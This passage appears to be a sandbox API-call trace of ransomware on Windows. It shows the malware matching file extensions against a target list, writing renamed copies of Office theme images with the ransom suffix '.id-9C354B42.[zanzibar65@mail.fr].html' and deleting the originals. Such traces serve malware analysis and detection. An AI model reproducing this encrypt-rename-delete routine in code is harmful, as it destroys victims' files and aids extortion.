(lpString1=".xls", lpString2=".GIF") returned 1 [0043.430] lstrlenW (lpString=".xlsx") returned 5 [0043.430] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.430] lstrlenW (lpString=".ppt") returned 4 [0043.430] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0043.430] lstrlenW (lpString=".zip") returned 4 [0043.430] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.430] lstrlenW (lpString=".rar") returned 4 [0043.430] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.430] lstrlenW (lpString=".bz2") returned 4 [0043.430] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.430] lstrlenW (lpString=".7z") returned 3 [0043.430] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0043.430] lstrlenW (lpString=".dbf") returned 4 [0043.430] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0043.430] lstrlenW (lpString=".1cd") returned 4 [0043.430] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0043.430] lstrlenW (lpString=".jpg") returned 4 [0043.430] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0043.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0043.430] lstrlenW (lpString=".doc") returned 4 [0043.430] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.430] lstrlenW (lpString=".docx") returned 5 [0043.430] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.431] lstrlenW (lpString=".pdf") returned 4 [0043.431] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.431] lstrlenW (lpString=".xls") returned 4 [0043.431] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.431] lstrlenW (lpString=".xlsx") returned 5 [0043.431] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.431] lstrlenW (lpString=".ppt") returned 4 [0043.431] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0043.431] lstrlenW (lpString=".zip") returned 4 [0043.431] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.431] lstrlenW (lpString=".rar") returned 4 [0043.431] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.431] lstrlenW (lpString=".bz2") returned 4 [0043.431] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.431] lstrlenW (lpString=".7z") returned 3 [0043.431] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0043.431] lstrlenW (lpString=".dbf") returned 4 [0043.431] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0043.431] lstrlenW (lpString=".1cd") returned 4 [0043.431] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0043.431] lstrlenW (lpString=".jpg") returned 4 [0043.431] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.431] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0043.431] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0043.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.432] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1287) returned 1 [0043.432] CloseHandle (hObject=0x1f0) returned 1 [0043.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 0x20 [0043.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.432] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.432] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0043.437] GetLastError () returned 0x0 [0043.438] ReadFile (in: hFile=0x1f0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x507, lpOverlapped=0x0) returned 1 [0043.456] WriteFile (in: hFile=0x170, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x510, lpOverlapped=0x0) returned 1 [0043.457] ReadFile (in: hFile=0x1f0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.457] WriteFile (in: hFile=0x170, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.457] SetEndOfFile (hFile=0x170) returned 1 [0043.457] CloseHandle (hObject=0x170) returned 1 [0043.458] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.458] SetEndOfFile (hFile=0x1f0) returned 1 [0043.458] CloseHandle (hObject=0x1f0) returned 1 [0043.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.461] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 1 [0043.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0043.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0043.461] lstrlenW (lpString=".doc") returned 4 [0043.461] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.461] lstrlenW (lpString=".docx") returned 5 [0043.461] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.461] lstrlenW (lpString=".pdf") returned 4 [0043.461] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.461] lstrlenW (lpString=".xls") returned 4 [0043.461] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.461] lstrlenW (lpString=".xlsx") returned 5 [0043.461] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.461] lstrlenW (lpString=".ppt") returned 4 [0043.461] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0043.461] lstrlenW (lpString=".zip") returned 4 [0043.461] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.461] lstrlenW (lpString=".rar") returned 4 [0043.461] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.462] lstrlenW (lpString=".bz2") returned 4 [0043.462] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.462] lstrlenW (lpString=".7z") returned 3 [0043.462] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0043.462] lstrlenW (lpString=".dbf") returned 4 [0043.462] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0043.462] lstrlenW (lpString=".1cd") returned 4 [0043.462] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0043.462] lstrlenW (lpString=".jpg") returned 4 [0043.462] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0043.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0043.462] lstrlenW (lpString=".doc") returned 4 [0043.462] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.462] lstrlenW (lpString=".docx") returned 5 [0043.462] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.462] lstrlenW (lpString=".pdf") returned 4 [0043.462] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.462] lstrlenW (lpString=".xls") returned 4 [0043.462] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.462] lstrlenW (lpString=".xlsx") returned 5 [0043.462] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.462] lstrlenW (lpString=".ppt") returned 4 [0043.462] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0043.462] lstrlenW (lpString=".zip") returned 4 [0043.462] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.462] lstrlenW (lpString=".rar") returned 4 [0043.462] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.462] lstrlenW (lpString=".bz2") returned 4 [0043.462] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.463] lstrlenW (lpString=".7z") returned 3 [0043.463] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0043.463] lstrlenW (lpString=".dbf") returned 4 [0043.463] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0043.463] lstrlenW (lpString=".1cd") returned 4 [0043.463] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0043.463] lstrlenW (lpString=".jpg") returned 4 [0043.463] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.463] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0043.463] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0043.463] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.463] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=28595) returned 1 [0043.463] CloseHandle (hObject=0x1f0) returned 1 [0043.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 0x20 [0043.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.464] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.464] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0043.464] GetLastError () returned 0x0 [0043.464] ReadFile (in: hFile=0x1f0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x6fb3, lpOverlapped=0x0) returned 1 [0043.466] WriteFile (in: hFile=0x170, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x6fc0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x6fc0, lpOverlapped=0x0) returned 1 [0043.467] ReadFile (in: hFile=0x1f0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.468] WriteFile (in: hFile=0x170, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.468] SetEndOfFile (hFile=0x170) returned 1 [0043.468] CloseHandle (hObject=0x170) returned 1 [0043.468] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.468] SetEndOfFile (hFile=0x1f0) returned 1 [0043.469] CloseHandle (hObject=0x1f0) returned 1 [0043.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.469] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 1 [0043.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0043.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0043.470] lstrlenW (lpString=".doc") returned 4 [0043.470] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.470] lstrlenW (lpString=".docx") returned 5 [0043.470] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.470] lstrlenW (lpString=".pdf") returned 4 [0043.470] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.470] lstrlenW (lpString=".xls") returned 4 [0043.470] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.470] lstrlenW (lpString=".xlsx") returned 5 [0043.470] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.470] lstrlenW (lpString=".ppt") returned 4 [0043.470] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0043.470] lstrlenW (lpString=".zip") returned 4 [0043.470] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.470] lstrlenW (lpString=".rar") returned 4 [0043.470] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.470] lstrlenW (lpString=".bz2") returned 4 [0043.470] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.470] lstrlenW (lpString=".7z") returned 3 [0043.470] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0043.470] lstrlenW (lpString=".dbf") returned 4 [0043.470] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0043.470] lstrlenW (lpString=".1cd") returned 4 [0043.470] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0043.470] lstrlenW (lpString=".jpg") returned 4 [0043.470] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0043.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0043.470] lstrlenW (lpString=".doc") returned 4 [0043.471] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.471] lstrlenW (lpString=".docx") returned 5 [0043.471] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.471] lstrlenW (lpString=".pdf") returned 4 [0043.471] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.471] lstrlenW (lpString=".xls") returned 4 [0043.471] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.471] lstrlenW (lpString=".xlsx") returned 5 [0043.471] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.471] lstrlenW (lpString=".ppt") returned 4 [0043.471] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0043.471] lstrlenW (lpString=".zip") returned 4 [0043.471] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.471] lstrlenW (lpString=".rar") returned 4 [0043.471] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.471] lstrlenW (lpString=".bz2") returned 4 [0043.471] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.471] lstrlenW (lpString=".7z") returned 3 [0043.471] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0043.471] lstrlenW (lpString=".dbf") returned 4 [0043.471] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0043.471] lstrlenW (lpString=".1cd") returned 4 [0043.471] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0043.471] lstrlenW (lpString=".jpg") returned 4 [0043.471] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.471] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0043.472] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0043.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.472] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=3957) returned 1 [0043.472] CloseHandle (hObject=0x1f0) returned 1 [0043.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 0x20 [0043.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.472] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.472] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0043.474] GetLastError () returned 0x0 [0043.474] ReadFile (in: hFile=0x1f0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0xf75, lpOverlapped=0x0) returned 1 [0043.476] WriteFile (in: hFile=0x170, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xf80, lpOverlapped=0x0) returned 1 [0043.477] ReadFile (in: hFile=0x1f0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.477] WriteFile (in: hFile=0x170, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.477] SetEndOfFile (hFile=0x170) returned 1 [0043.477] CloseHandle (hObject=0x170) returned 1 [0043.477] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.477] SetEndOfFile (hFile=0x1f0) returned 1 [0043.478] CloseHandle (hObject=0x1f0) returned 1 [0043.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.478] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 1 [0043.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0043.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0043.478] lstrlenW (lpString=".doc") returned 4 [0043.478] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.478] lstrlenW (lpString=".docx") returned 5 [0043.479] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.479] lstrlenW 